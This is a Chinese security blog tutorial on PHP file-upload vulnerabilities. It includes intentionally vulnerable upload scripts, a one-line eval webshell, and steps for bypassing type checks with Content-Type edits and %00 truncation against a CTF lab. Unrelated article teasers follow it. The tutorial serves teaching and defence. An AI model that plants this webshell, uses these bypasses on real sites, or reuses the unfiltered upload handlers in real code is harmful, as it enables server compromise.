文件上传漏洞原理与实例测试

简介:
  • 为了让用户将文件上传到网站,就像是给危机服务器的恶意用户打开了另一扇门。即便如此,在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。企业支持门户,给用户各企业员工有效地共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的。

0x01 为什么文件上传存在漏洞

  • 上传文件的时候,如果服务器脚本语言,未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件,包括上传脚本文件。

  • 如果是正常的PHP文件,对服务器则没有任何危害。

  • PHP可以像其他的编程语言一样,可以查看目录下的文件,查看文件中的吗内容,可以执行系统命令等。

  • 上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的PHP文件,从而控制整个网站,甚至是服务器。这个恶意的PHP文件,又被称为WebShell。


0x02 哪里存在文件上传漏洞


  • 服务器配置不当

  • 开源编辑器的上传漏洞

  • 本地文件上传限制被绕过

  • 过滤不严或被绕过

  • 文件解析漏洞导致文件执行

  • 文件路径截断


0x03 文件上传实例(本地测试)


  • 裸体的文件上传


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html>
<head>
     <title>文件信息</title>
</head>
<meta charset= "utf-8" >
<body>
<form action= ""  enctype= "multipart/form-data"  method= "POST"  name= "uploadfile" >
     上传文件: <input type= "file"  name= "upfile"  />
     <input type= "submit"  value= "上传"  name= "submit" >
</form>
</body>
</html>
<!-- 完全没有过滤,任意文件上传 -->
<?php
if  (isset( $_POST [ 'submit' ])) {
     var_dump( $_FILES [ 'upfile' ]);
     echo  "文件名:" . $_FILES [ 'upfile' ][ 'name' ]. "<br />" ;
     echo  "文件大小:" . $_FILES [ 'upfile' ][ 'size' ]. "<br />" ;
     echo  "文件类型:" . $_FILES [ 'upfile' ][ 'type' ]. "<br />" ;
     echo  "临时路径:" . $_FILES [ 'upfile' ][ 'tmp_name' ]. "<br />" ;
     echo  "上传后系统返回值:" . $_FILES [ 'upfile' ][ 'error' ]. "<br />" ;
     echo  "====================保存分各线========================<br />" ;
     if  ( $_FILES [ 'upfile' ][ 'error' ] == 0) {
         if  (! is_dir ( "./upload" )) {
             mkdir ( "./upload" );
         }
         $dir  "./upload/" . $_FILES [ 'upfile' ][ 'name' ];
         move_uploaded_file( $_FILES [ 'upfile' ][ 'tmp_name' ], $dir );
         echo  "文件保存路径:" . $dir . "<br />" ;
         echo  "上传成功...<br />" ;
         echo  "图片预览:<br />" ;
         echo  "<img src=" . $dir . ">" ;
     }
}
  ?>

wKioL1eQ76Sxy2zxAARTCLGSSbw832.png-wh_50

设置本地代理用Burp Suite 抓包,通过对比我们可以看到,PHP中的<文件名>和<文件类型>分别对应数据包中<filename>和<Content-Type>。


  • 穿上下内衣的文件上传


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!DOCTYPE html>
<html>
<head>
     <title>文件信息</title>
</head>
<meta charset= "utf-8" >
<body>
<form action= ""  enctype= "multipart/form-data"  method= "POST"  name= "uploadfile" >
     上传文件: <input type= "file"  name= "upfile"  />
     <input type= "submit"  value= "上传"  name= "submit" >
</form>
</body>
</html>
<!-- 按文件类型过滤 -->
<?php
if  (isset( $_POST [ 'submit' ])) {
     var_dump( $_FILES [ 'upfile' ]);
     echo  "文件名:" . $_FILES [ 'upfile' ][ 'name' ]. "<br />" ;
     echo  "文件大小:" . $_FILES [ 'upfile' ][ 'size' ]. "<br />" ;
     echo  "文件类型:" . $_FILES [ 'upfile' ][ 'type' ]. "<br />" ;
     echo  "临时路径:" . $_FILES [ 'upfile' ][ 'tmp_name' ]. "<br />" ;
     echo  "上传后系统返回值:" . $_FILES [ 'upfile' ][ 'error' ]. "<br />" ;
     echo  "====================保存分各线========================<br />" ;
     $flag  = 0;
     switch  ( $_FILES [ 'upfile' ][ 'type' ]) {
         case  'image/jpeg' :
             $flag  = 1;
             break ;
         default :
             die ( "文件类型错误....." );
             break ;
     }
     if  ( $_FILES [ 'upfile' ][ 'error' ] == 0 &&  $flag  ) {
         if  (! is_dir ( "./upload" )) {
             mkdir ( "./upload" );
         }
     $dir  "./upload/" . $_FILES [ 'upfile' ][ 'name' ];
     move_uploaded_file( $_FILES [ 'upfile' ][ 'tmp_name' ], $dir );
     echo  "文件保存路径:" . $dir . "<br />" ;
         echo  "上传成功...<br />" ;
         echo  "图片预览:<br />" ;
         echo  "<img src=" . $dir . ">" ;
     }
}
  ?>

在这段代码里,我们通过 <$_FILES['upfile']['type']> 来检测文件上传的类型,通过第一个图里的对比我们知道Http数据包请求头里的<Content-Type >对应的是上传文件的类型,那么我们是不是可以通过修改数据包的内容来实验绕过.ok,现在我们上传一个PHP一句话木马。

1
2
3
4
<?php
@ eval ( $_POST [ 'xxx' ]);
echo  "dahuiji...." ;
  ?>

wKiom1eQ8A-heWV_AAN7oia3xR0984.png-wh_50

看返回的页面我们知道我们成功绕过了对文件类型的检测,并且菜刀连接成功


  • 穿上上内衣的文件上传(一个十六进制的<00>截断的ctf)


1
url:http://ctf4.shiyanbar.com/web/upload/

wKiom1eQ8FTiYY4vAAKvHgT5rdc341.png-wh_50

首先我们对抓取的数据包做出以上修改

wKioL1eQ8HDSTJYvAAMqvXprP68080.png-wh_50

通过16进制我们知道 <.>的16进制是<2e>在<2e>出插入一个字节,右键菜单里有<insert byte>插入。

wKiom1eQ8JOSXUmnAAI3-KDfuXc717.png-wh_50

ok,现在我们成功获取了flag。

现在我们说下这个实验的实现原理:

1
2
3
4
5
6
7
8
9
1.为什么在文件后面加上<.jpg>和在数据包< uploads />后面加上修改后的文件名?
      PHP在对文件后缀进行判断时是对最后一个 <.xxx> 来判断的。这样我们修改过后的文件
   名,PHP会将其判断为.jpg文件这样我们可以绕过对文件名的检测。
   
2.为什么我们对文件名修改过后还需要添加%00截断?
     尽管我们知道我们上传的是一个PHP文件,但是如果不进行%00截断,我们上传的文件在服务
   器上是以< xxx.php.jpg >格式保存也就是说这是一个图片文件,PHP是不会解析这个文件。
   当我们进行%00截断后,服务器就会将%00后的<.jpg>进行截断,这是我们的的文件将以< xxx.php >
   的形式保存在服务器上,我们的一句话木马也就成功的时上传成功了。


  • 穿上外套的文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html>
<head>
     <title>文件信息</title>
</head>
<meta charset= "utf-8" >
<body>
<form action= ""  enctype= "multipart/form-data"  method= "POST"  name= "uploadfile" >
     上传文件: <input type= "file"  name= "upfile"  />
     <input type= "submit"  value= "上传"  name= "submit" >
</form>
</body>
</html>
<?php
if  (isset( $_POST [ 'submit' ])) {
     var_dump( $_FILES [ 'upfile' ]);
     echo  "文件名:" . $_FILES [ 'upfile' ][ 'name' ]. "<br />" ;
     echo  "文件大小:" . $_FILES [ 'upfile' ][ 'size' ]. "<br />" ;
     echo  "文件类型:" . $_FILES [ 'upfile' ][ 'type' ]. "<br />" ;
     echo  "临时路径:" . $_FILES [ 'upfile' ][ 'tmp_name' ]. "<br />" ;
     echo  "上传后系统返回值:" . $_FILES [ 'upfile' ][ 'error' ]. "<br />" ;
     echo  "====================保存分各线========================<br />" ;
     $flag  = 0;
     $path_parts  pathinfo ( $_FILES [ 'upfile' ][ 'name' ]);
     echo  '---<br>' ;
     var_dump( $path_parts );     //返回文件路径信息
     if  ( $path_parts [ 'extension' ] ==  'jpg'  &&  $_FILES [ 'upfile' ][ 'type' ] ==  'image/jpeg' ) {
         $flag  = 1;
     } else {
         die ( "文件类型错误...." );
     }
     if  ( $_FILES [ 'upfile' ][ 'error' ] == 0 &&  $flag  ) {
         if  (! is_dir ( "./upload" )) {
             mkdir ( "./upload" );
         }
         $dir  "./upload/" . $_FILES [ 'upfile' ][ 'name' ];
         echo  "文件保存路径:" . $dir . "<br />" ;
         move_uploaded_file( $_FILES [ 'upfile' ][ 'tmp_name' ], $dir );
         echo  "上传成功...<br />" ;
         echo  "图片预览:<br />" ;
         echo  "<img src=" . $dir . ">" ;
     }
}
  ?>

上传一张正常的图片。

wKioL1eQ8Yjz_KUcAAF_fGZhspg079.png-wh_50


上传一句话木马进行绕过检测

wKiom1eQ8a_wyICPAAK-fyWsCeQ590.png-wh_50

1
2
3
4
5
6
7
为什么这次不能进行绕过?
      我们对文件名进行截断后,当数据包到Apache的时候,Apache会对截断处理这时截断的文件
      名变为< xxx.php >当PHP判断时会发现文件的后缀为< php >,然后我们就上传失败了....
 
  (以上只是我对上传失败的一点理解,欢迎指正。
   欢迎技术讨论,可以将上述方法绕过的同学欢迎指教。
   致谢...)


0x04 上传漏洞的防御


  1. 对面文件后缀进行检测

  2. 对文件类型进行检测

  3. 对文件内容进行检测

  4. 设置上传白名单




本文转自 nw01f 51CTO博客,原文链接:http://blog.51cto.com/dearch/1828635,如需转载请自行联系原作者
相关文章
|
3月前
|
编解码 缓存 Prometheus
「ximagine」业余爱好者的非专业显示器测试流程规范,同时也是本账号输出内容的数据来源!如何测试显示器?荒岛整理总结出多种测试方法和注意事项,以及粗浅的原理解析!
本期内容为「ximagine」频道《显示器测试流程》的规范及标准,我们主要使用Calman、DisplayCAL、i1Profiler等软件及CA410、Spyder X、i1Pro 2等设备,是我们目前制作内容数据的重要来源,我们深知所做的仍是比较表面的活儿,和工程师、科研人员相比有着不小的差距,测试并不复杂,但是相当繁琐,收集整理测试无不花费大量时间精力,内容不完善或者有错误的地方,希望大佬指出我们好改进!
239 16
「ximagine」业余爱好者的非专业显示器测试流程规范,同时也是本账号输出内容的数据来源!如何测试显示器?荒岛整理总结出多种测试方法和注意事项,以及粗浅的原理解析!
|
6月前
|
数据采集 自然语言处理 数据库
深入体验阿里云通义灵码:测试与实例展示
阿里云通义灵码是一款强大的代码生成工具,支持自然语言描述需求,快速生成高质量代码。它在测试、代码质量和用户体验方面表现出色,能够高效地生成 Python 和 Java 等语言的代码,助力开发者提升开发效率和代码质量。无论是新手还是资深开发者,都能从中受益匪浅。
深入体验阿里云通义灵码:测试与实例展示
|
7月前
|
机器学习/深度学习 JSON 算法
实例分割笔记(一): 使用YOLOv5-Seg对图像进行分割检测完整版(从自定义数据集到测试验证的完整流程)
本文详细介绍了使用YOLOv5-Seg模型进行图像分割的完整流程,包括图像分割的基础知识、YOLOv5-Seg模型的特点、环境搭建、数据集准备、模型训练、验证、测试以及评价指标。通过实例代码,指导读者从自定义数据集开始,直至模型的测试验证,适合深度学习领域的研究者和开发者参考。
2272 3
实例分割笔记(一): 使用YOLOv5-Seg对图像进行分割检测完整版(从自定义数据集到测试验证的完整流程)
|
7月前
|
分布式计算 监控 Hadoop
Hadoop-29 ZooKeeper集群 Watcher机制 工作原理 与 ZK基本命令 测试集群效果 3台公网云服务器
Hadoop-29 ZooKeeper集群 Watcher机制 工作原理 与 ZK基本命令 测试集群效果 3台公网云服务器
104 1
|
7月前
|
安全 程序员 网络安全
Kali渗透测试:对软件的溢出漏洞进行测试
Kali渗透测试:对软件的溢出漏洞进行测试
102 1
|
8月前
|
设计模式 SQL 安全
PHP中的设计模式:单例模式的深入探索与实践在PHP的编程实践中,设计模式是解决常见软件设计问题的最佳实践。单例模式作为设计模式中的一种,确保一个类只有一个实例,并提供全局访问点,广泛应用于配置管理、日志记录和测试框架等场景。本文将深入探讨单例模式的原理、实现方式及其在PHP中的应用,帮助开发者更好地理解和运用这一设计模式。
在PHP开发中,单例模式通过确保类仅有一个实例并提供一个全局访问点,有效管理和访问共享资源。本文详细介绍了单例模式的概念、PHP实现方式及应用场景,并通过具体代码示例展示如何在PHP中实现单例模式以及如何在实际项目中正确使用它来优化代码结构和性能。
107 2
|
8月前
|
安全 Java 应用服务中间件
渗透测试-JBoss 5.x/6.x反序列化漏洞
渗透测试-JBoss 5.x/6.x反序列化漏洞
90 14
|
7月前
|
安全 网络协议 Linux
Kali渗透测试:使用Armitage针对漏洞进行攻击
Kali渗透测试:使用Armitage针对漏洞进行攻击
151 0
|
8月前
|
安全 测试技术 Linux
CentOS7 安装vulhub漏洞测试环境
CentOS7 安装vulhub漏洞测试环境
249 0
|
4月前
|
数据可视化 前端开发 测试技术
接口测试新选择:Postman替代方案全解析
在软件开发中,接口测试工具至关重要。Postman长期占据主导地位,但随着国产工具的崛起,越来越多开发者转向更适合中国市场的替代方案——Apifox。它不仅支持中英文切换、完全免费不限人数,还具备强大的可视化操作、自动生成文档和API调试功能,极大简化了开发流程。